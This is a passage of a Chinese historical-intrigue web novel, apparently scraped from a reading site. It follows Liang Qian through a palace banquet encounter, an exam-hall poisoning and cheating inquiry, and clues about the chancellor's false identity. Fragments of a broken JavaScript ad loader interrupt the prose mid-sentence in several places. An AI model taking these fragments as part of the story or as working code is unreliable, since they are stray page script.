长公主朝这边说着,皇帝等人的注意力也被吸引了过来。 萧明渊和梁浅站起身来行礼,梁浅朝长公主回道:“谢长公主殿下关怀,妾身身体已无大碍,祝长公主殿下芳辰大吉,岁岁安康。” “多谢夫人,夫人送的礼我可喜欢着呢。”长公主笑眯眯地说道,梁浅也笑得眼睛眯成了一条缝,我就说送她特制的香料她定然欢喜,毕竟京城谁未听说过这位长公主的风流名声。 梁浅和萧明渊拿起酒杯朝长公主敬酒,长公主也起身拿起酒杯回敬,梁浅坐下后,发现萧明渊和陛下进入了social阶段,便打算借口上厕所溜出去透透气。 梁浅走到一处人少的地方,正往远处看去时,身后传来一个声音,“看夫人的样子倒不像大家闺秀。” “谁?谁在那里?”梁浅悄悄握住了自己藏在衣袖里的暗器,然后转身看向自己身后。 一个身影背靠着柱子,半个身子都躲在阴影里面,却只出声并未挪动半分。 梁浅看着身影有些熟悉,下半身透露出来的衣裳也并不差,且在这个时机出现在这里,梁浅便试探问道:“敢问阁下是?” “无名无姓,一江湖人罢了。”说罢,那人还又拿起手里的酒喝了起来。 梁浅瞥见那酒杯和刚刚宫宴上的没有什么差别,便轻笑道:“江湖人?江湖人怎会出现在这宫中?莫非是大侠心在江湖,可却身不由己困在此处。” “差不多罢……夫人不也是如此?” 梁浅警觉,这人想必没有这么简单,说不定知道自己的真实身份,于是边悄悄靠近那人,就在即将下手的时候,那人先伸出手拿控住了梁浅拿武器的手。 二人就这样交了手,那人一把将梁浅拉入黑暗之中,两人就在昏暗的柱子背后打了起来,对面的人明显不想继续纠缠,就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在梁浅正将那人衣袖刮破露出手臂之时,萧明渊的声音也从远处传来。 对面的人忙推了梁浅一把,然后飞身离开,梁浅连忙扶着墙面,抬头看向那人逃走的方向,却只剩漆黑一片了。 * 梁浅对这件事一直耿耿于怀,所以在第二日来酒楼里吃饭也提不起兴趣,无情看着平时那么爱吃的一个人,对今日自己做的美食居然提不起心情,便察觉到了梁浅的情绪。 “阿浅,你同师父说发生什么事了,你这今日到这里就心不在焉的。” 梁浅犹豫了片刻,还是决定像师父坦白。 “师父,您之前是不是说过,我父母的事很可能与丞相有关。” “我不过是随口提的罢了,我当时是说丞相权势如此之大,为人歹毒,怕是你父母当年的事他也有所参与,我无凭无据的,不成不成。” 无情连连摇头,可是见到梁浅一脸严肃的表情,还是隐隐觉得有些不对。 “怎么了?孩子,你不会是查到些什么了罢,可不要擅自行事,还是同我商量才好。” 看着无情有些着急,梁浅忙安慰她,拿起筷子吃了起来,“没事,师父,我会小心行事的,到时候定能为爹娘昭雪。” 无情点了点头,这才拿起筷子来吃饭,当梁浅看向碗里的鱼时,顿时想到了什么,便冲到正在算账的芸香面前拿起了纸笔。 芸香惊呼,却也又伸手帮梁浅把纸铺平,“东家这是怎了?我这儿算好就过来吃饭,你们先吃就是。” 而梁浅则一言不发的在纸上画出了一个图案,无情跟着凑过来看,上面画着一条鱼被圈在一个圆圈里。 芸香皱着眉头,不经意地说:“这是?一条煮好的鱼?这又是东家新想的菜式?” 梁浅摇了摇头,看着桌上的图案喃喃自语道:“我原以为只是黑夜中我看错了,可是我突然想到……” “江南的有一位刺客身上就有一个图案是这样的鱼,只不过没有外面的圈。”无情接着梁浅的话说道,而芸香意识到这些东西与酒楼的事情无关,便识趣的走开了。 “师父,以前您是不是同我说过,这个人与我父母的事有很大的关联,母亲给您的最后一封信中也提到了这个人。” 无情点了点头,“确实如此,不过,阿浅,你是在何处见到这东西的,这东西又是在谁的身上,他果真在京城?” 梁浅不说话,只是盯着图案,无情又说道:“看来此人便是我们要找的人了,可这外面的圈是何物,是碗的意思?” 梁浅抬眼看到了正在进门的衙役,然后淡定地对无情说道:“这不是碗,师父。” “这意思是,人为刀俎我为鱼肉。” “那人已经屈服于丞相的威势之下了。” 梁浅慢慢说出来的几句话,给无情震惊得合不拢嘴,“阿浅,你的意思是?” “那人就在我们眼前,师父。” 58. 好运来 “官差大人大驾光临,有失远迎,快快请坐,小二,快给几位官爷上茶。”芸香见到一队衙役走了进来,忙起身张罗。 为首的那人气定神闲地抬了抬手,“不必了,掌柜的,问下你们东家今日可在,随我们去一趟才是。” 芸香认出这几位官差常来店里吃饭,平日里都是笑嘻嘻的,今日一脸严肃,更是人人都穿着衙役的衣服,不禁倒吸一口冷气。 “不知道我们酒楼是犯了何时?还请官差大人告知才是哩。”芸香悄悄摘下自己新买的耳坠走到为首的面前,悄悄的递给那人。 梁浅见状想伸手去拦芸香,却被无情拉了回来,梁浅走出来说道:“无妨,芸老板,我随他们去一趟就是。” 那人收了耳坠放到自己的怀中,又挺直身子说道:“放心,掌柜的,只是要你们东家跟着去做个证,说不是你们酒楼犯了事。” 芸香和无情这才松了一口气,都同时看向梁浅,梁浅朝两人点了点头,“宽心。” 等梁浅跟着衙役们走后,芸香有些着急的看向无情,“晴姐,我要不派个人去萧府告知一声罢,我这心里始终还是不放心。” “没事的,芸香,既然东家未曾让我们去报信,那她心里就应该有成算,且万一有心人正盯着我们,见到我们酒楼的人还跑到萧府报信,就正好做文章了。” * 梁浅跟着衙役一路来到的竟然不是官府什么的,而是今日开考的科考场门口,见到门口许多人在围观,考场规则也写在一旁,梁浅不禁瞪大了眼睛。 科考是怎么和这些官差扯上关系的,又是怎么和我好运来扯上关系的,莫不是吃错了我们酒楼的东西,梁浅想到这里,一瞬间就居然联想到了丞相,可他不至于用这种手段吧。 梁浅被门口的官差检查过后,又跟着一位身着官服的人走了进来,却没有走向考生的考场,而是向一旁一个荒凉的院子中走去。 “大人,这可是科考场上?可是发生了什么事?”梁浅试探的朝前面的人问道,可前面的人只是低头带路,并未出声。 而当梁浅到了院子里面,可谓是惊住了,里面站着各样官服的人齐聚在院子中,而在院子的中间,则用草席盖着什么。 梁浅见状在原地停住,带路的人走了到了人群的中间,朝那位表情严肃的官员低头禀报着。 说罢,那位大人招手让梁浅过来,梁浅刚有些紧张地挪动脚步,便见到前面忽然有人挡住了自己的路,看着背影有些熟悉。 “大人,这件小事交给下官来问罢,大理寺的仵作也查验好了,这里还需要大人主事才是。”周玉行礼说道。 而那位大人摸了摸胡子,见仵作走到面前才点了点头,周玉便转身一把将梁浅拽出院外。 “周大人?你怎会在此。”听到梁浅惊讶的语气,周玉没有丝毫停留,直至走到一处没有人的地方才停下。 “我是礼部的人,今日科举的大事,我自然在场。” “那这是发生什么事了?仵作都来了,是出了人命?”梁浅小心翼翼地出声,生怕惊动了其他人。 周玉轻轻点了点头,表情凝重,梁浅想这人定是第一回见这种场面被吓到了,“周大人可还好?这件事可会牵连到你。” 周玉听到梁浅的关心,眼里闪过一丝惊讶,表情舒缓了几分,这才开口,“无妨,我不过只是个巡视考场的,也是才换班就见到这人了。” 周玉看向停放尸体的院子,唉声叹气着,“对了,今日把你叫来是在那考生的身上发现了你们好运来的物件。” “物件,什么物件?我们好运来只管吃住,别的可一概不卖的,若不成是吃的出了什么毛病?” “物件是你酒楼账台上的一只毛笔,吃的应该没有问题,为了防止考生吃坏东西,早日里来都是我们一齐备的吃食,怎的别人无事,偏偏他出了问题。” 梁浅仔细回忆,自己开业那天好像是吩咐了,要将这酒楼里的每样物件都写上好运来三个字,只是没有想到芸香这么细。 竟然连毛笔上面都写上了。 “那毛笔应该无事罢。”梁浅有些着急的朝周玉说道,周玉摇了摇头又回应道。 “放心,仵作一来便查验了,毒不是毛笔上的,原是出了事,李大人便急吼吼叫人去找你来,在你来的时候,仵作就到了。” 梁浅长舒一口气,“那这样你便去回了罢,我没有嫌疑,我可否走了?” “毒没有查到,却在笔芯拆开时找到一张小抄。” “啊?不是说我只是来做个证的?不会是没有怀疑我杀人,反而是怀疑我帮忙作弊?” 见到周玉点了点头,梁浅才意识到这下是莫名奇妙被卷到这件事里面,也暗自佩服能把小抄藏到笔里这件事的脑洞程度。 “可在我酒楼的毛笔里面找到纸条不代表这东西就是我们放的罢,周大人,先不说这酒楼的人来来往往,谁都可以接触到这支笔,怎么就一定是我们酒楼的人呢?” 周玉浅浅一笑,“是,夫人,所以这不能成为关键证据,字迹还未详细比对,倒是有几分像考生自己的,那考生自己现在也死无对证,几位大人现在更着急的是考生之死若是传到陛下的耳朵里……” 周玉又看向梁浅,梁浅见他欲言又止的样子,便敏感的小声问道:“此人可有什么不寻常之处?莫非是……丞相的人?” “我可并未说什么,夫人,丞相大人怕是又派人来催了,我还得去回禀,就先告辞了。” 周玉恭敬地朝梁浅行礼,然后给梁浅指了指另外一条路,自己则朝反方向走了过去。 “周大人,酒楼的事。”梁浅叫住周玉,还是想确认一下酒楼会不会受到什么牵连。 “正如夫人所说,此案疑点颇多,好运来并非就是徇私舞弊的帮手。” 看着周玉气定神闲地说出这句话,梁浅也明白了他的意思。 自己现在只不过是某人的开胃菜,想吓吓自己,若是自己因此漏出马脚,自己和师父的事…… “多谢周大人,还请周大人一切小心为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上。” 梁浅也朝周玉回礼,周玉朝外探了探头,犹豫片刻又走了回来,将一个钱袋递给梁浅,梁浅忙推了回去。 “大人这是何意,还未见过审问之人贿赂被审之人的呢。” 周玉失笑,还将钱袋朝梁浅这边递来,“并非贿赂,而是那日东家送的酒菜我母亲说白拿人家的不好,所以我思来想去,还是想……”周玉看向钱袋,示意梁浅收下。 梁浅此刻已然放轻松了许多,“无妨,一点小钱,不必在意,若是伯母喜欢,尽管到我哪里拿就是,咱俩是朋友嘛,你若是给钱,那便是见外咯。” 周玉顿了顿,这才将钱袋收了回去,两人同看了一眼对方,点了点头便朝反方向走去了。 而梁浅走过院门才发现是死胡同,只有几个废弃的木箱放在这里,看样子像是以前收试卷的箱子,不过锁坏了,周大人可真会选退路。 要不是一堆人在外面,怕自己又被吸引注意力给抓连报信的机会都没有,自己早从前院跑了。 梁浅还是爬上了木箱,然后顺势爬上了墙,然后很好,成功降落。 下一秒,几柄大刀就抵在了梁浅的脖子上。 “几位大哥,冷静冷静,我是礼部的周大人找过来问话的,这不是前厅人太多,我出不去这才出此下策的,各位大人可以去问问周大人。”梁浅丝毫不敢动弹,看着面前的大刀屏着呼吸。 几人听到这话,联想到今日确实有命案发生,这才慢慢放下了刀,但是仍然将梁浅围在中间。 双方本就这样僵持着,为首的人正下令将梁浅带回去审问,一辆马车正好路过,停在了不远处,马车上的人掀开帘子问道。 “可是出了什么事?” 梁浅面前为首的那位转身去行礼,而梁浅也觉得这声音熟悉,就在那人弯腰行礼的间隙,梁浅瞥见了马车里的人。 “长公主?长公主长公主!救我救我!”梁浅决定抓住一切时机,不然这些人怕是要给自己定个扰乱考场的罪名的。 长公主听到衙役后面的女声,便出声叫几人让开,几位大汉却纹丝不动,长公主便直接走下了马车。 “让是不让?”长公主站在马车前,顿时间霸气外露,梁浅却被身后的人蒙住了嘴发不得声。 “长公主别为难小的们,这人扰乱考场,一会儿我们还要带去给大人问话呢。” “大人?哪位大人?我去同他说说。”长公主还是没有退让,更是向前走去,而她身后的婢女竟然也拔出了刀。 长公主问到是哪位大人时,为首的大汉身体一震,却是半晌没有说出话来,见对方的人拔出了刀才支支吾吾吐出几个字,“是,是……” “既然说不出来是哪位大人,我也未见这人是从考生院那边出来,考场上也是重兵看守,又何谈扰乱之说?” 看着长公主的威势和她身后武艺高强的婢女,几人终于还是放开了梁浅,梁浅忙跳到长公主面前去。 长公主将梁浅护在身后,“夫人别怕,有我在。” 59. 拉拉扯扯 “若是今日长公主殿下未出现的话,我怕是已然被抓了去,还得多谢长公主殿下搭救。” 梁浅在马车上同长公主青月行礼,马车一动,一个不小心,梁浅就侧着倒了下去,公主忙将她扶起来。 “在这马车里行礼,你真是头一个。”见青月也在捂着嘴偷笑,梁浅也不好意思的挠了挠头。 “让长公主殿下见笑了。” “无妨,我倒是喜欢夫人这幅真实模样,不知可否问夫人今日为何会从考场翻墙出来。” 长公主递了一把木梳给梁浅整理她刚刚弄乱的头发,梁浅也正一深一浅地梳着。 “既然长公主都看到了,我也不再相瞒,更何况长公主今日还救了我……原是今日考场内出了命案,说是考生拿着我好运来的笔,故叫我来问问话。” “唉,他们竟然丝毫不顾及,打上了科举的主意。”青月坐在梁浅对面握紧了拳头,眼里都是愤怒。 梁浅没有想到这位身处深宫的长公主倒是这样直接的性子,顿时心里对她多了几分好奇。 “长公主这话是说此事并非意外?”梁浅故作惊讶地朝长公主问道。 “夫人虽然入京时间不长,但想必也听说了舅舅的事,这些年从光是从丞相府里,或是从他庄子里抬出来的,怕是说出来都吓人,更别说还有他人不知道的,或是朝中上上下下的腌臜事了。 我早知舅舅做了许多见不得光的事,我也曾劝过他,未曾想……” 长公主眉眼生得柔和,皮肤白皙,坐在马车上,白日里的阳光照得她像一个落入凡尘的仙女。 “殿下可是有什么烦心事?妾身愿为殿下分忧。”梁浅又打算朝青月行礼,被青月一把拉了回来。 “我今日来此,便是想来看看这科举场上的人都是什么样的,若是……我可不想要。” 梁浅一脸吃瓜的表情,想要?意思是? “莫非?” 长公主点了点头,看着窗外叹了叹气,“我不过是和舅舅说了几句,劝诫他不要越陷越深才是,结果他转头便去告了母后,不知怎么合计的,说什么我如今也大了,也到了成家的时候,等今年的新科状元出来便将我许配与他。” 长公主说罢,像是又想起这场景的样子,有些生气的扯着自己衣襟。 “所以长公主是提前来看驸马的?”“你也打趣我。” “哈哈,我开了个客栈,我让手下的人去拉客,原是想有客就行,结果他们两人跑来同我说他们拉回来的可是状元,若是真的到时候我们酒楼客栈可就红火了。” 梁浅捂着嘴偷笑,她没有想到看似了解这宫中斗争的长公主说起自己的婚事来竟然也害羞了起来。 “嗯,那人文采可好?生得如何?” “读书人嘛,虽说走了许久的路途才到京城,精气神还算好,容貌嘛,就是读书人的样子咯。” “啊?那岂不是很文弱?” “殿下怕驸马文弱?”梁浅直接大笑了起来,怕马车外的人听到,公主有些害羞地捂住了梁浅的嘴。 让梁浅见到自己的这番模样,青月也有些不好意思了,突然灵机一动。 “是啊,我就是怕驸马文弱,不像夫人,已然有了萧将军这般神武的人,萧将军可文弱呀?” 这下梁浅的脸红了起来了,要真说起来,自己哪里知道他文不文弱,只是上次他醉酒,也是被自己打晕了,后来…… “夫人还当真回忆起来啦?哈哈哈哈。” “我看夫人和萧大人倒是恩爱得很,夫人绣的荷包我每回遇见萧大人都见他戴在身上”。 “说起来,夫人绣的荷包样式倒真是京城鲜有呢。”梁浅想起那个荷包就想笑,两人也就这样打闹了起来,像是普通的两姐妹一般。 “说起来,殿下真的想成亲吗?” “嗯,我也不知道,可能还是想的罢。 我从小长在宫中,不想皇兄曾经跟着父皇在民间过过些日子,我日日都是规矩。 今日也是说要见见以后的驸马才让我出门的,我总是想若是我成家能是何样的情景…… 可我见到皇兄时而痛苦的模样,我又确实是害怕的。” 梁浅拉住她的手安慰道:“如今,只有走一步看一步了,若是新科状元出来,你看不中,想必太后娘娘也不会强求的不是,且放宽心。” 见长公主点了点头,梁浅却又暗自叹了叹气,本来想劝她直接跑的,可是看看马车前后围绕的人,她的身份地位,她逃不掉这些桎梏……希望太后的疼惜能让她还有选择的余地罢。 “公主,到萧府了。”马车外传来侍从的声音,马车也随之停了下来。 “今日多谢长公主殿下,若是来日公主有用得上我的地方,只管叫我就是,随叫随到。” 青月捂着嘴笑了笑,才说道:“好,夫人慢走才是,一切小心。” 梁浅看着马车远去才飞速的冲回了萧府,关上门才深吸一口气,“呼,还好今日没有在那里困住,这萧府暂时也是呆不得了。” 梁浅决定出城避一段时间,于是便又飞快回房间收拾了起来,想着今日出了这么大的事情,萧明渊应该也会去罢,自己就留封信算了。 刚写好信放在桌上,梁浅又折回去柜子里找自己藏的暗器,结果,一转身,萧明渊手里已经拿着那封信了。 “你要走?”萧明渊有些疑惑地抬眼看她。 “啊?”梁浅全然没有想到萧明渊会在这个时候回来,更没有想到他会提前看到信。 关键信里都是她胡编的,说自己是要回柳家修养一番,不必来找自己。 “你在收拾东西?”萧明渊的眼神变得有些凌厉,梁浅偷看了一眼就赶紧避开,手上却不知道自己在忙什么。 “没,我不是。”梁浅有些心虚,不仅因为自己手里拿着一大把暗器,更是被萧明渊看得心里有些发慌。 “不是什么?你这是打算悄无声息的就走了,若不是我刚好回来,你是不是就打算留下这一封奇奇怪怪的信,就悄无声息的走了。” 萧明渊逐渐朝梁浅逼近,梁浅只得慌忙地将手中的暗器塞回柜子,但是自己也因此被迫靠在了柜子上。 而萧明渊也朝梁浅靠近,萧明渊的胸膛也近在眼前,梁浅别过头去,不知听到的是他的心跳还是自己的心跳。 萧明渊一只手倚在衣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柜,另一只手轻轻捏住梁浅的下巴,将梁浅的脸慢慢抬起,可她却始终不看向自己。 “今日,我在科举考场看见你了。” 梁浅有些意外,自己当时来的时候并未看到他,难道是后来自己跟周玉私聊的时候才被他看到的。 “你和周大人有说有笑啊,我怎么不知你何时同这位周大人关系这么好了?” 原本梁浅意识到萧明渊有些误会还打算解释,可是听到这番话,自己心里莫名堵得慌。 “是啊,我和他关系是好,和你相干?”梁浅终于抬眼看他,只见此时萧明渊的脸上真正显出了几分怒气。 突然下一瞬,萧明渊便低头吻了下来,这次与以往他的温和的吻不同,霸道又不给梁浅留一分喘气之息。 梁浅想用力推开,可身后的柜子是打开着的,自己倚在里面的隔断上,萧明渊一用力,自己便往里面靠去,背后一空,更是使不上力。 于是梁浅突然用力一咬,嘴里尝到一丝血腥味,萧明渊这才罢手,眼神有些凌乱地看着她。 “和我不相干?你是我萧明渊的妻子,你同其他男人拉拉扯扯,他为了你甚至可以胡编乱造,欺瞒上级。”萧明渊手上更用力了些,梁浅此时也丝毫不惧他的眼神。 梁浅察觉到了他语气中的变化,于是忙问道:“什么叫拉拉扯扯,还有,你说清楚,你把他怎么了?” 萧明渊轻蔑一笑,嘴唇上还带着那一抹血迹,手却还控着梁浅。 “不过只是个谄媚丞相的文书官罢了,能有几个脑袋,我不过是找了个借口说他办事不力,赏了他一顿板子罢了。” “你!真是无耻至极,有什么你冲我来。”梁浅又尝试挣扎着,可被萧明渊抵在衣柜里动弹不得。 看着萧明渊怒气未消的表情,梁浅意识到这个人之前好说话都是因为自己也和他客客气气的,自己时不时的演戏或许在他眼里也算是哄人了。 意识到这个人吃软不吃硬,梁浅便不在挣扎,只是冷冷地抬起头看向他。 “你也去了考场?哼,那你想必也知道叫我去的原委了?如此看来,你是不信我是清白的。” 萧明渊听了梁浅的话终于不再纠缠,松开了抓着梁浅的手,身子别朝了另一边。 “我并未如此说,只是娘子宁可信与那位周大人,也信不得我。”说罢,梁浅还听到萧明渊鼻子里哼了一声。 梁浅从有些昏暗的衣柜处走出来,疑惑地看着萧明渊说道:“我何时不信你了?是你不信我才对罢。” 梁浅语气缓和了下来,顺势就演了起来,假装起自己委屈的样子,萧明渊见梁浅情绪有些低落,忙转头安慰了起来。 “我自然是信你的,我气的是你出了事怎么不找人来报我,我是你的夫君,我应该为你承担的。” 萧明渊此时的态度和语气都缓和了许多,梁浅见状也顺势问道:“那没人来报你,你又如何知道的,且我这里前脚到家,你后脚就追上来了。” 萧明渊一时语塞,眼神飘忽,一脸心虚的样子。 梁浅顿时提高了音调,“好哇,我说怎么酒楼里那几人怎么日日都来吃饭,原来是你暗中安排的人。” 60. 暴风雨前 萧明渊叹了叹气,“我这也是为你好,若是今日情况再紧急些你出了事,无人知晓,你让我怎么办。” “什么怎么办,正好这府里不就可以换人住了。”梁浅一转攻势,像是生起气来了,转身背对着萧明渊。 “换给谁住?”萧明渊探头探脑地往梁浅眼前凑,梁浅转过头去不看他。 “好啦,娘子莫要生气,我今日回来不是质问你的,我是担心你想回来看看你可有受伤,刚才我态度不好,向娘子赔罪。” 萧明渊转着圈的在梁浅面前行礼道歉,等到已经绕了一圈之后,梁浅终于忍不住了,笑了起来。 “你干什么?在这里拜得人心慌。” 萧明渊听到梁浅说话忙抬头看向梁浅,“娘子笑了,可是说明娘子不生气了。” “我不生气了,你快起来罢,考场上的案子不是还没有结?你还不回去?” 梁浅将萧明渊拉起来就往门外推,萧明渊却扭头回来,“那你可还要走?万事你莫怕,在府中没有人敢来欺负你。” “好啦,我明白的,你快去罢,在晚些丞相到了,他又跟着搅和可就扯不清了。” 萧明渊垂眸沉思片刻,“这明显又是他设的局罢了,王二供出了他府上的管家,昨日里审问着莫名就死了,事情如今没个了结,如今他又弄了这出来转移视线。” “你的意思是这场戏是他临时搭的戏台子?可我觉得说不定这些都在他的谋划之中,这一切太过刻意了,若只是他丞相大人想转移之前王尚书案在朝中的注意力,全然不用再演上一处拿我好运来的笔作弊这样的事。” “娘子的意思是?今日之事并非全然是丞相所为?”萧明渊看向梁浅,脸上难免有几分惊讶的神情。 “不仅如此,甚至是有人想在掩盖些什么。”梁浅顺了顺自己的头发,又朝萧明渊问道,“你来时可听到仵作验尸怎么说了?” “说是并无其他外伤,倒像是中毒,具体还要仔细查验才是。 问了门口的人说早日里进门时都还好好的,那姓周的说后来他巡视时便见到他倒在桌案上,也并无外击或是挣扎的痕迹。 后来还同我私下里说,他当时见到这人在试卷上写了些字,只是当时忙着救人,也没有注意。 将人抬出来时已然咽气了,等他转身去看,书案上的字迹都已经消失不见,只剩下一张白纸了。” “哦?周大人不是挨板子了吗?怎么还有力气同你说话?”梁浅察觉到了什么,故意向萧明渊问道。 “我,我不过只是训斥了几句就算了,刚刚说打他板子只是吓你,可你还真信了。”梁浅听到这话捂着嘴偷笑,没有想到萧明渊这样的人着急的时候竟然也会胡扯。 梁浅送着萧明渊正往外面走着,却正好见到一旁枯了许久的木枝竟然冒出了一点新芽。 “看来,是有人想说些什么却被捂了嘴,如今,除了调查,你还得仔细盯着科举场上的人,特别是看似微不足道的人,说不定这位考生未曾告诉我们的真相,之后便会真正的发生一回。” 梁浅十分认真严肃地看着萧明渊,萧明渊也看到了那株枯木,对梁浅点了点头。 “为夫一直有一个疑问,还想娘子解答。” 梁浅的思绪从今日考场上被拉了回来,眨了眨眼才有些不在意地说道:“嗯,你讲。” “娘子为何这么帮我,甚至愿意与丞相站在对立面?” 梁浅静静地看着萧明渊的脸,他不像从前那般爱冷脸了,即使此时说着仿佛在试探自己的话,嘴角好像还带着一抹笑意,这个问题好像不想以前那般令人心生寒意了,而只是让人觉得他只是真的想了解自己的想法。 “我看不惯他的行事,太过乖张也太过残忍,我呢,只能算路见不平拔刀相助,更别说你我现在是一条绳上的蚂蚱。 丞相年龄也大了,许多事不周全,如今漏出的破绽越多,也正是能扳倒他的好时候,若是他新扶上来的人逐渐站稳了,那最后死的便只有你了,想必到时候我也会跟着遭殃。” 梁浅装作无所谓的样子在萧明渊面前踱步,说完这些,梁浅又偷看萧明渊的脸色。 见萧明渊半晌不说话,最后才又加上一句,“毕竟我们是夫妻,俗话常说夫妇一体,所以这些事我也只当是为我们两人考虑。” 萧明渊转阴为晴,他很喜欢听到夫妇一体这样的词。 梁浅以前同他说话要么是冷冰冰的,要么是在哄小孩一样,还是第一次真的拿两人当夫妻一般论断。 随后便像是下定决心一般同梁浅说:“放心,娘子,我会赢的。” 梁浅这一堆话有敷衍却也有几句实话,可是在对上萧明渊炽热的眼神时,梁浅忽而感觉脸上有些发烫,忙看向别处。 “好了,你快去忙,莫要耽误了正事,不必担心我,我一切都好。” 萧明渊又拉了拉梁浅的手,梁浅笑着点了点头,萧明渊这才转身离开。 此刻日头正盛,看着照在院子亮得令人头晕目眩的光,梁浅不禁眯了眯眼睛。 随后财之的声音便从身后传来,“东家,查到了。” “嗯,待我收拾一下,我们去好运来说。” * 梁浅从原来无面的房间里偷了两套衣服,和财之扮成了马夫便出了萧府,从小路到了好运来。 “阿浅,怎么样?你可还好。”无情一见到梁浅便拉着她有些着急地低声问道,梁浅拉着她的手点了点头。 “放心,师父,财之他们回来了,我们进去说。” 无情点了点头就朝里面走去,梁浅悄悄的走到正在埋头理账的芸香面前,轻轻拍了拍她的肩膀。 “东家,你回来了,可还好,可没有受什么审问,可伤了你?”芸香一见到梁浅就连忙想站起来,梁浅将她按了坐下,摇了摇头。 “我一切都好,你还是不要太劳累了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 钱是赚不完的,账也可以慢慢算。” 梁浅伸手合上账本,然后将一个小袋子递给了芸香,芸香一接过来听到声音便知道是什么了,忙推了回去。 “东家,这些首饰你自己拿着就是,今日让你破费了,这是该给你的。”梁浅拍了拍芸香的后背安慰道,福之的声音也从远处出来。 “好了,你晴姐在叫我了。”芸香感动地看着梁浅,浅浅点了点头,“好,东家你去,这外面有我守着,你且宽心。” “有你在,我放心。” * “我顺着十一小姐回信的地址到了许溪,可是临街四邻各处我都问过了,并未打听到与丞相同名同姓之人,后来偶遇一街边的老者。 他说,许多年前,正是先帝在时,许溪曾发过一场极大的洪水,那是正逢举子进京赶考,许多家里的书生都拦住了去路,也有许多出发得早的,到了京城才知道,痛哭着上了考场。” 财之宛如说书先生一样同梁浅无情说自己调查的结果,听到这里,无情也忍不住发问。 “可这若是发了洪水,定是户籍什么的都查不到了,这又从何查起。” “师父莫急,既然都能找到这位老者,自然有人就能有线索。”梁浅出声安慰道,随后又示意财之继续。 “是,正如东家所说,我又寻着去找到了十一小姐,未曾想他外爷家就正是许溪本地人,我说起那场洪水,他也有印象。 这位老爷家里几代从商,他也未曾进过京城,我将丞相的画像拿出来,谎称是寻找我的故人,他不得印象,而是一旁的老夫人认了出来。”财之正说着,就在这关键时刻停顿了,被无情往头上弹了一下,他才继续说道。 “老夫人说这人像是当年县衙里的县令大人的儿子,当年她常去县衙门口凑热闹看人审案,自然也认识着县令大人家的公子,当年考上举人,县里都到他家府上散了喜钱。 只是没有想到,这公子才走,便发了洪水,县令家走得晚,后来就再也未曾见过了。” “那他妹妹未曾进京,可逃出来了?”福之呆呆地朝财之问道,这些日子在京城他也是听说了,当朝太后正是丞相大人的亲妹妹,当今陛下也得叫丞相一声舅舅。 “离奇之处便是这里,我说起是来寻故人和他妹妹,可老夫人却说,他妹妹同县令夫妇留在许溪,当年发了洪水便一同不见了,我便又拿出太后娘娘的画像,老夫人说我的画像并非县令大人的千金,虽说当年女大十八变,可这画像中的女子绝对并非那位千金。” 福之语气平缓,说完自己还喝了一口水,而坐在对面的几人不禁倒吸一口冷气,这可能说明丞相可不是什么陛下的亲舅舅了。 “这样说来,太后娘娘与丞相并非亲兄妹?”梁浅喃喃道。 “顺着这位老爷我又问了几位当年的同乡人,也确实都是如此说的,众人还感叹,不知那位公子后来如何,也未曾再见过他回乡了。” 61. 准备 众人将刚刚财之的消息消化了片刻,梁浅便立刻又问起了福之这边的结果。 “头儿,你那日让我伪装去给丞相府送酒菜我便四处看了看,并未发现身上画有那样标记的人…… 倒是正好遇到大理寺又去他们府上,差点迎面撞上了月银他们。”福之一脸真诚地回答着。 梁浅不禁皱眉,萧明渊不是说回京就已经把之前王尚书的案子报了上去,虽然最后没有审出丞相大人这条大鱼,但定然也是有些收获的,未曾听说前些日又去了丞相府。 “后来呢?”无情见梁浅发起了呆,便立刻接过话问了下去。 “我反应自然是快的,我假装吓得魂不附体,菜车都忘记在后院就跑了出来。” 财之不禁偷笑,此时他还觉得这是他的傻弟弟又在真诚地说胡话了。 “然后我便绕到了前院,看看他们在干什么,结果人人都在看热闹,还好我个子高,不一会儿便见到萧大人从里面提了人出来,那人倒像是个武夫,身材挺魁梧的,我看了人就连忙蹲下,防止月银他们发现我。” 福之讲起来可比财之有趣多了,甚至时不时还做了许多的动作来辅助自己的描述。 “等他们都走了,我便又绕回来,假装是找我的菜车,实际是和他们打听刚刚谁被带走了。 只听说是一个叫做百里洋的幕僚,还说丞相在前厅同萧大人气氛紧张,剑拔弩张呢。” 听到这里,几人脸上神情各异。 财之听到这里才意识到他的弟弟长大了,竟然会用计谋了,所以脸上挂着些许吃惊,但更多是欣慰。 梁浅听到这里更多也是沉思,萧明渊如今都可以从丞相府当着丞相的面带走幕僚了? 先不说他用的是什么手段,光是在这闹市之下将丞相府的幕僚沿路带回去就很是高调了,莫非他已经掌握了许多自己不曾掌握的事情? 自己对他的了解还是不够。 而表情变化最明显的要说是无情,当她听到百里洋这个名字的时候,脸上不仅有吃惊,更是透露出了愤怒甚至是憎恨。 梁浅还沉思在自己的世界,还是福之先注意到了无情的情绪,忙戳了戳自己兄长,“你看这位师父好像有些不对劲啊。” 梁浅这才注意到师父的神情,结果下一秒,无情手中的杯子就被捏了个粉碎。 几人吓了一跳,梁浅忙伸手去查看自己师父的手,关心的问道怎么了,而福之也立刻站起身去找草药绷带来包扎。 忙了好一会儿,才处理好无情手上的伤口,而全过程,师父都没有说一句话。 看着气氛有些不对,福之和财之很有眼力见的退了出去,此时,房间里面只剩师徒二人。 无情激动得咳嗽了起来,“师父,你怎么了?是不是旧伤复发了?你告诉阿浅。” 无情深吸一口气才说道:“阿浅,你随我来。” 梁浅跟着师父入了内室,见到师父为梁浅父母竖上的灵位,梁浅心中隐隐有些不安。 “阿浅,这些年,我一直没有同你细讲过,只是和你说我们要到京城来为你父母报仇。 后来,到了京城后,我也在四处调查,原只怀疑到丞相府,如今看来,许多真相或许真的在丞相府里。” 无情闭上眼睛,仿佛多年前的记忆在眼前轮转,她不敢睁开眼睛,因为一睁开就会看到记忆中的两人已经不在世间的现实。 “师父,你的意思是?那个叫百里浪的人,与我父母的事有关系?”梁浅跪在灵前,小心翼翼地开口。 